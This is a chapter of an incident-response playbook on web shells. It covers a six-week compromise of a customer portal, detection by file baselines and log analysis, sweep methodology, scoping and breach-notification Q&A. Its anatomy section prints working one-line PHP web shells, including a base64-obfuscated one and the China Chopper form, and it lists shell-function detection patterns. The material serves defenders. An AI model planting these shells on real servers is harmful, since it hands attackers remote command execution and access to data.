Chapter 21

Web Shell Playbook

A web shell is a malicious script installed on a web server that gives an attacker a persistent, browser-accessible command execution interface. They are among the most durable persistence mechanisms in existence — a web shell uploaded to a forgotten subdomain can remain active for years. The discovery of one web shell almost always means there are more.

Scenario

A WAF alert fires for a suspicious POST request to /uploads/upload_handler.php on the company's customer portal. The alert identifies a pattern consistent with web shell interaction: the POST body contains OS command characters and the response contains server-side output that should not be echoed back to a client.

The IR team checks the web server logs and finds the alert has been firing intermittently for six weeks — but the alerts were categorized as low priority and never escalated. For six weeks, an attacker has had a web shell on the customer portal web server with no intervention.

The investigation reveals: the web shell was uploaded through a file upload vulnerability in the customer portal's profile photo upload feature. The vulnerability allowed PHP files to be uploaded. The attacker uploaded a two-line PHP file disguised as a JPEG and has been using it as an interactive command execution interface.

How Web Shells Work

A web shell is typically a small script (PHP, ASP, ASPX, JSP, or a server-side scripting language supported by the web server) that accepts HTTP requests, passes parameters to system functions, and returns the output. The simplest web shells are a few lines of code. More sophisticated ones include file management interfaces, password protection, connection obfuscation, and even full terminal emulators running in a browser.

  Web Shell Anatomy: From Simple to Sophisticated
  ═══════════════════════════════════════════════════════════════════

  MINIMAL WEB SHELL (2 lines):
  ─────────────────────────────────────────────────────────────────
  <?php system($_GET['cmd']); ?>
  <?php echo shell_exec($_POST['c']); ?>

  Usage: GET /shell.php?cmd=whoami
  Response: www-data

  Problem from attacker's view: trivially detectable by WAF or
  simple pattern matching. Not password protected.

  OBFUSCATED WEB SHELL (encoded):
  ─────────────────────────────────────────────────────────────────
  <?php eval(base64_decode("c3lzdGVtKCRfR0VUWydjbWQnXSk7")); ?>

  The base64 string decodes to: system($_GET['cmd']);
  Purpose: evades simple string-matching detection.
  Still trivially decoded.

  SOPHISTICATED WEB SHELL (China Chopper example):
  ─────────────────────────────────────────────────────────────────
  <?php @eval($_POST['password']);?>

  Client-side tool provides full file manager, terminal, database
  client, command history. Server-side component is just 1 line.
  Password "password" is supplied in POST body.
  Purpose: minimal server-side footprint, full functionality via client.

  STEGANOGRAPHIC WEB SHELL:
  ─────────────────────────────────────────────────────────────────
  PHP code embedded in the EXIF metadata of a legitimate JPEG file.
  Server processes the file as an image, PHP interpreter encounters
  the embedded PHP in EXIF comments and executes it.
  Detection difficulty: file looks like a legitimate JPEG to most scans.

  TIMING-BASED DORMANT SHELL:
  ─────────────────────────────────────────────────────────────────
  Web shell that only activates on requests containing specific
  headers or request patterns — appears as a static file otherwise.
  Example: only execute PHP when X-Custom-Header: [key] is present.
  Detection difficulty: routine scans that request the file get
  a 200 OK with normal-looking content; no PHP execution visible.

Web Shell Detection Methodology

Web shells are detected through two complementary approaches: static analysis (examining files on disk for shell characteristics) and dynamic analysis (examining server logs for shell-like interaction patterns). Both are necessary — static analysis finds shells that were never used, dynamic analysis finds shells that are currently active even if the file has been modified to evade static detection.

  Web Shell Detection: Dual Approach
  ═══════════════════════════════════════════════════════════════════

  APPROACH 1: Static File Analysis
  ─────────────────────────────────────────────────────────────────
  Goal: find files that should not exist in the web root

  Step 1: Establish a baseline
  → What files SHOULD be in the web root?
  → Compare current state against: (a) git/source control checkout,
    (b) deployment artifact checksum manifest, or (c) a pre-incident
    file snapshot
  → Any file in the web root NOT in the baseline is suspicious

  Step 2: Pattern scan for shell indicators
  → Search for PHP/ASP functions commonly used in shells:
    eval, base64_decode, system, exec, passthru, shell_exec,
    proc_open, popen, assert (PHP)
    eval, execute, response.write (ASP/ASPX)
  → Search for file upload patterns: $_FILES, move_uploaded_file
  → Search for encoded/obfuscated content: long base64 strings in
    PHP files, nested eval calls

  Step 3: Check file metadata
  → Files created/modified at unusual times (late night, after-hours)
  → Files owned by web server user (www-data) rather than deployment user
  → Files with double extensions: photo.php.jpg, document.jpg.php
  → Files in upload directories or temp directories

  APPROACH 2: Web Server Log Analysis
  ─────────────────────────────────────────────────────────────────
  Goal: find requests that look like shell interaction

  Indicators of shell usage in web logs:
  → POST requests to static files (images, PDFs, CSS files)
    — static files don't accept POST; a POST to one suggests a shell
    disguised as that file type
  → Request parameters containing OS command characters:
    semicolons, pipes, backticks, ampersands, command substitution
  → Response bodies that appear to contain server output returned
    to the client (directory listings, command output)
  → POST requests to files in upload directories
  → Requests from unusual source IPs to specific rarely-accessed URLs
  → Error responses followed by successful responses to the same file
    (attacker testing the shell)
  → Requests to URLs not in your sitemap / known application routes
Why one web shell almost always means more

Attackers do not rely on a single persistence mechanism. A sophisticated attacker who has had six weeks of access via a web shell will have: installed a second web shell with a different name in a different directory as backup, potentially compromised other web applications on the same server or on adjacent servers, used the web shell access to establish C2 via a reverse shell back to attacker infrastructure, and may have harvested credentials stored in the application's database or configuration files. Finding the first web shell is the start of the investigation, not the end. The question is always: what did they do with six weeks of web server access?

Web Shell Variants and Where to Find Them

Web shells are not always PHP files in obvious locations. Experienced attackers disguise shells in locations where they're unlikely to be noticed and in formats designed to defeat pattern matching.

Web shell variantWhat it looks likeWhere to look
Standard PHP shell A .php file in the web root or upload directory Any writable directory in the web root; focus on upload directories
Embedded in legitimate file PHP code appended to the end of a legitimate .php application file, or injected into the middle Compare all .php files against source control baseline; look for appended content after the legitimate file ends
Image-disguised shell A file with .jpg or .png extension that is actually a PHP file, or a legitimate image with PHP embedded in EXIF data All files in upload directories; check actual file content (file magic bytes) vs. extension
ASPX/ASP shell (IIS) .aspx, .asp, .ashx, .asmx files placed in web root; .NET-based shells may be significantly more capable All script files in IIS web root; compare against known-good application files
JSP shell (Java/Tomcat) .jsp, .jspx files; WAR file modification to add backdoor servlet All JSP files; compare WAR file contents against build artifact
Shell in .htaccess .htaccess modified to auto-include a PHP file, or to execute a specific file type as PHP (e.g., making .jpg files execute as PHP) All .htaccess files; look for AddType and php_value directives
Cron job shell Cron job that downloads and executes a remote shell script periodically — the shell itself isn't on disk permanently All cron jobs for the web server user; /etc/cron.d, /var/spool/cron

Scope Beyond the Web Shell

When a web shell is found and has been active for six weeks, the scope question is not "what did they do with the web shell" — it's "what did they do from the web server to the rest of the environment." A web server is typically connected to backend databases, internal application servers, and may have credentials for those systems stored in configuration files.

  Scope Assessment: What Could Six Weeks of Web Shell Access Enable?
  ═══════════════════════════════════════════════════════════════════

  DIRECT FROM WEB SERVER:
  ─────────────────────────────────────────────────────────────────
  → Database access: web server typically has DB credentials in config
    files. Attacker can run arbitrary SQL from the web shell.
    What was in the database? Customer PII? Payment data? User credentials?
  → Configuration file contents: database passwords, API keys, cloud
    credentials, internal service credentials — all readable from the
    web shell
  → Other files: any file readable by the web server user (www-data/apache)
    is readable via the shell — check for files containing secrets

  LATERAL MOVEMENT FROM WEB SERVER:
  ─────────────────────────────────────────────────────────────────
  → If the web server has network connectivity to internal services
    (common), the attacker can use the web shell as a pivot point
  → From web server: scan internal network, attempt connections to
    internal services, use harvested credentials against internal systems
  → Check: what network access does the web server have?
    Does it have a route to the internal corporate network?
    Does it have access to the management VLAN?

  REVERSE SHELL / C2 ESTABLISHMENT:
  ─────────────────────────────────────────────────────────────────
  → Six weeks of access is enough time to establish a more capable
    C2 mechanism that doesn't depend on the web server being accessible
  → Look for: cron jobs that call out to external addresses,
    network connections from the web server to external IPs,
    SSH keys added to authorized_keys for the web server user,
    any new local user accounts on the web server

Finding ALL Shells: The Complete Sweep

A thorough web shell sweep examines every file that could potentially be a shell, every mechanism by which a shell can be invoked, and the web server logs for evidence of shell usage beyond the identified shell. This is not a quick process — a thorough sweep of a complex web application can take hours.

  Web Shell Sweep Methodology
  ═══════════════════════════════════════════════════════════════════

  Phase 1: Baseline Comparison
  ─────────────────────────────────────────────────────────────────
  Ideal: compare current web root against the most recent clean deployment
  artifact (git hash, Docker image digest, deployment package checksum).
  Any file that appears in the current web root but NOT in the baseline
  is a candidate shell.

  If no baseline exists: this incident is the argument for creating one
  going forward. For now, proceed to pattern scanning.

  Phase 2: Pattern Scanning (all script files)
  ─────────────────────────────────────────────────────────────────
  Run a scanner designed for web shells:
  → NeoPI: detects obfuscated code by statistical analysis (entropy, IC)
  → YARA rules for known web shell families
  → ClamAV with web shell signatures
  → Grep-based search for shell function patterns in all .php, .asp,
    .aspx, .jsp files

  Phase 3: File Metadata Review
  ─────────────────────────────────────────────────────────────────
  For all files in the web root:
  → Find files created/modified during the incident window
  → Find files with double extensions (shell.php.jpg)
  → Find files in upload/cache/temp directories with executable extensions
  → Find files owned by web server user vs. deployment user

  Phase 4: Log-Driven Confirmation
  ─────────────────────────────────────────────────────────────────
  For each candidate shell identified in Phase 1-3:
  → Search web server logs for requests to that file
  → Do request patterns match shell usage?

  For shells identified via logs:
  → Search for all URLs in logs that match: POST requests to files in
    upload directories, requests containing command patterns, unusual
    parameter names with encoded content

  Phase 5: Cron, Authorized Keys, New Accounts
  ─────────────────────────────────────────────────────────────────
  → /etc/crontab, /etc/cron.d/, /var/spool/cron for web server user
  → ~/.ssh/authorized_keys for all local accounts
  → /etc/passwd and /etc/shadow for new user accounts
  → Startup scripts / init.d for added persistence mechanisms

Q & A

Q: The WAF alert was firing for six weeks but was categorized as low priority and never escalated. How do you prevent this?

Alert triage and escalation is a process and tooling problem, not primarily an analyst problem. Three improvements: (1) Alert severity calibration — WAF alerts indicating command execution output in a response body should be P1 or P2, not low. Review alert severity mappings and recalibrate based on incident types you've seen. (2) Alert aging escalation — any alert that has fired more than a threshold number of times (say, 5 occurrences) without analyst review should automatically escalate in severity. Repeated low-priority alerts that are never reviewed are a known detection gap pattern. (3) Dedicated review — WAF web shell-pattern alerts should be in a dedicated detection use case that has an assigned owner and SLA. Not all alerts can receive equal attention; web shell patterns should be in a fast-response category based on the potential impact. The post-incident review should produce a specific recommendation for WAF alert escalation policy changes, not just "review alerts faster."

Q: After finding the web shell, the application owner says they need the web server running for a critical business process. They refuse to take it offline for investigation. How do you handle this?

Escalate to the CISO with the specific risk: "The web server is confirmed compromised with a web shell that has been active for six weeks. The attacker potentially has access to the database and all credentials stored in application config files. Taking the server offline allows full forensic investigation and eradication. Keeping it online risks: ongoing data access, ongoing credential exposure, and risks our eradication being incomplete." Frame the business risk numerically if possible: "The database contains [N] customer records. If those records were accessed, our breach notification obligation is..." The business owner refusing IR actions for business continuity is a governance failure. The IR team's job is to escalate to the right level so the risk acceptance is at the CISO/executive level, not at the application owner level. If the server truly cannot go offline, implement compensating controls: block all external access to the server except through a reverse proxy, rotate all credentials the server has access to, deploy enhanced endpoint monitoring on the server, and conduct a live forensic investigation without taking it offline — accepting that the investigation is less complete.

Q: The web shell was a single PHP file that has since been deleted by the attacker to cover their tracks. What forensic evidence do you have left?

Significant evidence may still be available even after file deletion: (1) Web server logs — if logs were forwarded to a central SIEM before the attacker deleted them, you have the full request history for the shell file. Log forwarding is your protection against log tampering. (2) Filesystem metadata — on many filesystems, inode timestamps and journal entries may contain evidence of the deleted file. File recovery tools may be able to recover the deleted PHP file from unallocated disk space. (3) Memory — if the web server process is still running, the web shell code may still be in the server process's memory space (cached in opcache, for example). A memory image of the running web server process may contain shell code. (4) Database logs — if the attacker executed SQL through the web shell, database query logs may capture those queries. (5) Network flow logs — external connections from the web server during the shell's active period are in VPC/firewall flow logs even if the file is gone. (6) Cloud/container snapshot — if the web server is a cloud instance and snapshots were taken during the incident window, those snapshots may contain the shell file even if it was subsequently deleted.

Q: The customer portal database contains payment card data. The web shell had database access. What notification obligations do you have?

PCI DSS mandates: if there is a compromise of cardholder data (CHD), the organization must notify their acquiring bank and the card brands (Visa, Mastercard) immediately — "as quickly as possible" in PCI DSS language, and the acquirer must be notified within 24 hours in many card brand rules. State breach notification laws apply to PII exposure; most require notification within 30-60 days of breach discovery. The forensic question that drives the notification scope is: did the attacker actually query or extract payment card data? If the web server had a database connection with SELECT access to the payments table, and the attacker had six weeks of web shell access, the answer for notification purposes is: assume they accessed it unless you can specifically demonstrate they did not (database query logs showing no CHD queries from the compromised session). "We didn't see evidence they took it" is not the same as evidence they didn't — for breach notification, the burden of proof works against you.